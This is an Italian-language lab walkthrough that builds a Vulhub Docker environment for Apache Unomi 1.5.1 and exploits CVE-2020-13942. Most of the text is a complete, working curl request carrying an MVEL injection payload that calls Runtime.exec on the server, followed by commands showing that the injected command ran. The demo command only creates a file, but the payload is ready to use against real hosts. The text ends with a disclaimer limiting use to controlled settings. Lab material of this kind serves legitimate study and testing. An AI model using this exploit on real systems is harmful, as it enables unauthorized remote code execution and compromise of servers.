
Ambiente di laboratorio passo-passo ed exploit per Apache Unomi CVE-2020-13942, che dimostra l'iniezione del linguaggio di espressione MVEL che porta all'esecuzione remota di codice.
Questa vulnerabilità consente l'esecuzione di comandi arbitrari su sistemi che eseguono Apache Unomi versione 1.5.1, sfruttando l'iniezione del linguaggio di espressione MVEL.
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
Esegui i container con il seguente comando:
docker compose up -d
Lanciare la seguente richiesta POST utilizzando curl:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
Accedi al container per verificare la creazione del file:
docker exec -it af7de05fc47e ls /tmp
Verifica la presenza della cartella pluto:
hsperfdata_root pluto
Se il file pluto è presente, significa che l'exploit è riuscito.
Questa vulnerabilità consente l'esecuzione di comandi arbitrari. Utilizza questi test solo in ambienti controllati e a scopo di studio o verifica. Sfruttare vulnerabilità in ambienti non autorizzati è illegale.
---